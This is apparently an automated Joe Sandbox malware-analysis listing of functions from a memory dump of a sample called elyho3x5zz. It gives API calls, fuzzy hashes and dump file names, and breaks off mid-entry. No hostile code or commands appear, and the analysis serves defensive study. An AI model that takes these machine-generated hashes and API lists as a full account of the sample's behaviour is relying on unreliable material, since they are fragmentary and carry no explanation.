Instruction ID: 7a3ec1e94934f0e7f16831038400dca1cd9cd4cf55917a8f38b620da33bf5c62
Opcode Fuzzy Hash: c134d4337344e0b5e6f60fa6ff3406e13c81d8ed9a5a6472cdeb4b0526b89ef4
Instruction Fuzzy Hash: B941B3ADD0C683A5FF68AB14946AB79E790BFC0B44F9420B5E58D861A4CF2CE444F720

Function 00007FF73A241B34 Relevance: 7.6, APIs: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00007FF73A241B6A
SendMessageW.USER32 ref: 00007FF73A241B93
SendMessageW.USER32 ref: 00007FF73A241BD8
CharUpperBuffW.USER32 ref: 00007FF73A241BFC
wcsstr.LIBVCRUNTIME ref: 00007FF73A241C09

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindowwcsstr
String ID:
API String ID: 2655805287-0
Opcode ID: b5ab547c948b7cef08c9277144327c084d2ec7411446b628b916d0c489a33ceb
Instruction ID: 418539c33b173c658fc25bb32e3059017cb982e4c04aecf49715b7eadc9d35c3
Opcode Fuzzy Hash: b5ab547c948b7cef08c9277144327c084d2ec7411446b628b916d0c489a33ceb
Instruction Fuzzy Hash: 4C21E526B0969256FB04AB13A906275A7A1BFC8FE0F848570EE1D87795EE3CE440A710

Function 00007FF73A262E64 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32 ref: 00007FF73A262E96
GetForegroundWindow.USER32 ref: 00007FF73A262EAF
GetDC.USER32 ref: 00007FF73A262EF2
GetPixel.GDI32 ref: 00007FF73A262F03
ReleaseDC.USER32 ref: 00007FF73A262F3B

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 0803af3d0555ee4f2e7cd4680bdbd11eb807c22797343ae4eaf726b5c3b1d4d7
Instruction ID: 068af7fbd8c7d4b105d737f88b097be151aaa77a05e5505237b1e66a11d1effb
Opcode Fuzzy Hash: 0803af3d0555ee4f2e7cd4680bdbd11eb807c22797343ae4eaf726b5c3b1d4d7
Instruction Fuzzy Hash: 1A21A12AB08A4196FB08EF26E88607DE3A5FBC8F90B444075EE0D87765DF7CD841A750

Function 00007FF73A1D2370 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32 ref: 00007FF73A1D23FF
SelectObject.GDI32 ref: 00007FF73A1D2412
BeginPath.GDI32 ref: 00007FF73A1D242B
SelectObject.GDI32 ref: 00007FF73A1D2452

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 8abe7a71c66bee896d504cb3d5ab816aa1492e552a9085df695a80683d63dbe3
Instruction ID: c3bc54487ee2379f850616d1cc94efaccae117e77875d6eb0b99f7751713b448
Opcode Fuzzy Hash: 8abe7a71c66bee896d504cb3d5ab816aa1492e552a9085df695a80683d63dbe3
Instruction Fuzzy Hash: BC31373A95C742AAF750AB01B842339FBA1BB88B90FD401B9D98D47654CF7CE445AB20

Function 00007FF73A201F44 Relevance: 7.6, APIs: 5, Instructions: 60threadCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A201F68
CreateThread.KERNEL32 ref: 00007FF73A201FA9
GetLastError.KERNEL32 ref: 00007FF73A201FB7
CloseHandle.KERNEL32 ref: 00007FF73A201FD4
FreeLibrary.KERNEL32 ref: 00007FF73A201FE3

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: CloseCreateErrorFreeHandleLastLibraryThread_invalid_parameter_noinfo
String ID:
API String ID: 2067211477-0
Opcode ID: 6c75004fdc8f89f48edb4038dcc6ab145b99058f26a8cd052d9a22877b7c3d52
Instruction ID: bf3b243b31d5e89c1b6845217965d64c2660ca30757f3bd26e85869801a6786c
Opcode Fuzzy Hash: 6c75004fdc8f89f48edb4038dcc6ab145b99058f26a8cd052d9a22877b7c3d52
Instruction Fuzzy Hash: DC218129A0D782A6FE14EF65A456079E3A5AFC4B80F884471EE4D47B95DF3CE400F721

Function 00007FF73A20F9D4 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF73A20F9FB
_set_statfp.LIBCMT ref: 00007FF73A20FA16
_set_statfp.LIBCMT ref: 00007FF73A20FA32
_set_statfp.LIBCMT ref: 00007FF73A20FA6E

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: e270cafaa1c1bb403facffb31b6a836e27aa4e45b093d38abbba4bbe7c8013ef
Instruction ID: 6fc0daa97197db96329be314973e2491a34c46557fdf589d38df1db3009f121f
Opcode Fuzzy Hash: e270cafaa1c1bb403facffb31b6a836e27aa4e45b093d38abbba4bbe7c8013ef
Instruction Fuzzy Hash: 6611A72EEDCB0365F65CF129E443375A1417FD43B0F9942B4EA6E466DA9E1C6440B323

Function 00007FF73A1F5244 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

_set_fmode.LIBCMT ref: 00007FF73A1F525B
__scrt_initialize_onexit_tables.LIBCMT ref: 00007FF73A1F5274
_RTC_Initialize.LIBCMT ref: 00007FF73A1F527D

Part of subcall function 00007FF73A1F4F0C: _onexit.LIBCMT ref: 00007FF73A1F4F10

Part of subcall function 00007FF73A20A09C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73A20A0C6

__scrt_fastfail.LIBCMT ref: 00007FF73A1F52F5
__scrt_initialize_default_local_stdio_options.LIBCMT ref: 00007FF73A1F5300

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Initialize__scrt_fastfail__scrt_initialize_default_local_stdio_options__scrt_initialize_onexit_tables_invalid_parameter_noinfo_onexit_set_fmode
String ID:
API String ID: 2117695475-0
Opcode ID: c6240938d00ce931eff62a9f8efb7c75b2bc90d30c2bcb96158b33b23c092f9e
Instruction ID: eac19d6734f54b8fe58bcd657c5332f3d4cf476e88b2932bd70039c5e4020d19
Opcode Fuzzy Hash: c6240938d00ce931eff62a9f8efb7c75b2bc90d30c2bcb96158b33b23c092f9e
Instruction Fuzzy Hash: 86119D08E1E59365FA18B3F0A4572B892A54FA4324FC906F8E71D9A2CBDD1CA4467236

Function 00007FF73A23CB58 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32 ref: 00007FF73A23CB8A
GetLastError.KERNEL32 ref: 00007FF73A23CB96
GetProcessHeap.KERNEL32 ref: 00007FF73A23CBA3
HeapAlloc.KERNEL32 ref: 00007FF73A23CBB2
GetTokenInformation.ADVAPI32 ref: 00007FF73A23CBD1

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 18e3121f69b2f55043958739cbc43e37301fc4036db83b04d1dc9e6091f96284
Instruction ID: 66348e436123ae4ee938da346993186505ebb8d18261e8b9b6ac467b6ead9b90
Opcode Fuzzy Hash: 18e3121f69b2f55043958739cbc43e37301fc4036db83b04d1dc9e6091f96284
Instruction Fuzzy Hash: CD11883AA04B81CAE710DF02E845159B7A9FBC9F80B994476DF8943B54DF38E819E740

Function 00007FF73A23CAB4 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32 ref: 00007FF73A23CAE6
GetLastError.KERNEL32 ref: 00007FF73A23CAF2
GetProcessHeap.KERNEL32 ref: 00007FF73A23CAFF
HeapAlloc.KERNEL32 ref: 00007FF73A23CB0E
GetTokenInformation.ADVAPI32 ref: 00007FF73A23CB2D

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 3045165107d4a0871487eb7a52e49b2bb276054106bd9f861ce7bf3483f017d6
Instruction ID: fbb3471d1b433c730b8e8662a6ef7f05ffd931540e6a430793507340b8c01b37
Opcode Fuzzy Hash: 3045165107d4a0871487eb7a52e49b2bb276054106bd9f861ce7bf3483f017d6
Instruction Fuzzy Hash: 7C11883AA04B81CAE710EF02E845159B7B9FBC9F90B954476DF8843B54DF38E819D740

Function 00007FF73A23B748 Relevance: 7.5, APIs: 5, Instructions: 43stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32 ref: 00007FF73A23B771
ProgIDFromCLSID.OLE32 ref: 00007FF73A23B790
lstrcmpiW.KERNEL32 ref: 00007FF73A23B7A2
CoTaskMemFree.OLE32 ref: 00007FF73A23B7B4
CLSIDFromString.OLE32 ref: 00007FF73A23B7C2

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: c2625648870bea748c00488204de808f07a4ef133cb019afb6ef5a542de6e20a
Instruction ID: 03a1909f008ab557ef2d100020f1855bd0aec6fc9199297c738deed3ae2b9877
Opcode Fuzzy Hash: c2625648870bea748c00488204de808f07a4ef133cb019afb6ef5a542de6e20a
Instruction Fuzzy Hash: 1511302AA08A4196F700AF26E801339A3A4FFC5BC1F984074EE4D87B58CF3DD441A710

Function 00007FF73A242ED0 Relevance: 7.5, APIs: 5, Instructions: 37windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF73A242EEC
GetWindowTextW.USER32 ref: 00007FF73A242F07
MessageBeep.USER32 ref: 00007FF73A242F1C
KillTimer.USER32 ref: 00007FF73A242F3F
EndDialog.USER32 ref: 00007FF73A242F5F

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 8c0ba02d18c33329f7d04451d21e8c8e2fc8c024a9545b6606e830f761915d0e
Instruction ID: 53bada04046b07ec834bfa12e1a7af3cc81c7d4509efee73a305c7bd4742f5d7
Opcode Fuzzy Hash: 8c0ba02d18c33329f7d04451d21e8c8e2fc8c024a9545b6606e830f761915d0e
Instruction Fuzzy Hash: 3011C826A08942A5FB29AF25E445379A360FFC8F84FC48071D94D47294DF7CD585EB20

Function 00007FF73A24D7F8 Relevance: 7.5, APIs: 5, Instructions: 36sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32 ref: 00007FF73A24D811
QueryPerformanceFrequency.KERNEL32 ref: 00007FF73A24D820
Sleep.KERNEL32 ref: 00007FF73A24D828
QueryPerformanceCounter.KERNEL32 ref: 00007FF73A24D833
Sleep.KERNEL32 ref: 00007FF73A24D86E

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: e93a488e7ef773f4239d39afdac6f2cad4444a29d3dd75f0fed3b9e62e675ca8
Instruction ID: 942d9de37cfec2062a58fb278ab08339caf39aa6710ec3e4d3d13a7f2b28b743
Opcode Fuzzy Hash: e93a488e7ef773f4239d39afdac6f2cad4444a29d3dd75f0fed3b9e62e675ca8
Instruction Fuzzy Hash: 4C01D428A08B02A6FB05AB31A89613DD364AFD5B80BD40376E10F91561DF2CE486F620

Function 00007FF73A250008 Relevance: 7.5, APIs: 5, Instructions: 33synchronizationthreadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,00007FF73A2329AD,?,?,?,00007FF73A1E2AB2), ref: 00007FF73A25003C
TerminateThread.KERNEL32(?,?,?,00007FF73A2329AD,?,?,?,00007FF73A1E2AB2), ref: 00007FF73A250047
WaitForSingleObject.KERNEL32(?,?,?,00007FF73A2329AD,?,?,?,00007FF73A1E2AB2), ref: 00007FF73A250055
~SyncLockT.VCCORLIB ref: 00007FF73A25005E

Part of subcall function 00007FF73A24F7B8: CloseHandle.KERNEL32(?,?,?,00007FF73A250063,?,?,?,00007FF73A2329AD,?,?,?,00007FF73A1E2AB2), ref: 00007FF73A24F7C9

LeaveCriticalSection.KERNEL32(?,?,?,00007FF73A2329AD,?,?,?,00007FF73A1E2AB2), ref: 00007FF73A25006A

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: CriticalSection$CloseEnterHandleLeaveLockObjectSingleSyncTerminateThreadWait
String ID:
API String ID: 3142591903-0
Opcode ID: ba6bd7e5b15845e6b6bdca5424b03e7aeaa25a678f545ea5128a0138939c9a9e
Instruction ID: b345d31eef20cb8c49f8b770282b0449bbb5c511dc28edf84e10d474c3868d5f
Opcode Fuzzy Hash: ba6bd7e5b15845e6b6bdca5424b03e7aeaa25a678f545ea5128a0138939c9a9e
Instruction Fuzzy Hash: 4D014C3AA08B519AF700AF15F44122EB364FB88B50F504031EB8E43B55CF3CD892D750

Function 00007FF73A201DA0 Relevance: 7.5, APIs: 5, Instructions: 31threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A20B80C: GetLastError.KERNEL32 ref: 00007FF73A20B81B
Part of subcall function 00007FF73A20B80C: SetLastError.KERNEL32 ref: 00007FF73A20B885

ExitThread.KERNEL32 ref: 00007FF73A201DB8
ExitThread.KERNEL32 ref: 00007FF73A201DCD

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: 99fd53b48de60ad2b3b37300d72bcddb8f2580f530d7a1e219e10e2618182fab
Instruction ID: 8311b9899f299a9072368cb6fbaaafb7bb4a8c96dd43b220e7f3935d2bf3a65d
Opcode Fuzzy Hash: 99fd53b48de60ad2b3b37300d72bcddb8f2580f530d7a1e219e10e2618182fab
Instruction Fuzzy Hash: E4017C28B08642B6FA04BB60954617CA365FF80B74FD44774D63E426D5DF3CE858B311

Function 00007FF73A1D22E8 Relevance: 7.5, APIs: 5, Instructions: 31COMMON

Download Yara Rule

APIs

EndPath.GDI32 ref: 00007FF73A1D2304
StrokeAndFillPath.GDI32 ref: 00007FF73A1D231C
SelectObject.GDI32 ref: 00007FF73A1D2331
DeleteObject.GDI32 ref: 00007FF73A1D2346
StrokePath.GDI32 ref: 00007FF73A1D2366

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: c45599d3bc9fc7debef7ab567c3c0eb4022d53e70f819905b21d88790cde579c
Instruction ID: 01e7e345b59843b19a8af58a2d52793ebbb613c199d68becac62da3fcee67afb
Opcode Fuzzy Hash: c45599d3bc9fc7debef7ab567c3c0eb4022d53e70f819905b21d88790cde579c
Instruction Fuzzy Hash: 1A017139D0C642B5F7597B10B986334F761BF89B91FD841B0D46E462A0CF7DA054B324

Function 00007FF73A2403F8 Relevance: 7.5, APIs: 5, Instructions: 26threadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32 ref: 00007FF73A240414
GetCurrentThreadId.KERNEL32 ref: 00007FF73A24041C
GetWindowThreadProcessId.USER32 ref: 00007FF73A24042C
GetCurrentThreadId.KERNEL32 ref: 00007FF73A240434
AttachThreadInput.USER32(?,?,?,00007FF73A23E921), ref: 00007FF73A240441

Part of subcall function 00007FF73A2407A4: SendMessageTimeoutW.USER32 ref: 00007FF73A2407CA

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
String ID:
API String ID: 179993514-0
Opcode ID: 3c9aaefa71688af513bcff76e9269722b622f20c654f000aa95846671475ad7f
Instruction ID: 52844c174c575c4126dff1033088d96197e3beb1952555456597e797ba1fcb46
Opcode Fuzzy Hash: 3c9aaefa71688af513bcff76e9269722b622f20c654f000aa95846671475ad7f
Instruction Fuzzy Hash: A2F0651CF1C61296FB1437B6B84B67493557FCC741FC450B0DC0A82651DD3D94D57A20

Function 00007FF73A256D04 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 308comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00007FF73A256EBC
CoCreateInstance.OLE32 ref: 00007FF73A256EDF
CoUninitialize.OLE32 ref: 00007FF73A2571B2

Strings

.lnk, xrefs: 00007FF73A256D42, 00007FF73A256DBD, 00007FF73A256E68

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize
String ID: .lnk
API String ID: 948891078-24824748
Opcode ID: d69a80715072412c422414223727881ed3508661fce737c81a5282fdefc00c23
Instruction ID: ee0db3d46a6fab8e50b2e2b028e78a694bb62722096c79adecbedb685305fab4
Opcode Fuzzy Hash: d69a80715072412c422414223727881ed3508661fce737c81a5282fdefc00c23
Instruction Fuzzy Hash: 6DD1BF66B18A46A1FF10EB16E4826BDBB70FBD0B84F804071EA4E47B65EE3CD504D750

Function 00007FF73A210040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 205COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A2102E4

Strings

UTF-8, xrefs: 00007FF73A210268
ccs, xrefs: 00007FF73A210229
UTF-16LEUNICODE, xrefs: 00007FF73A21028B

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
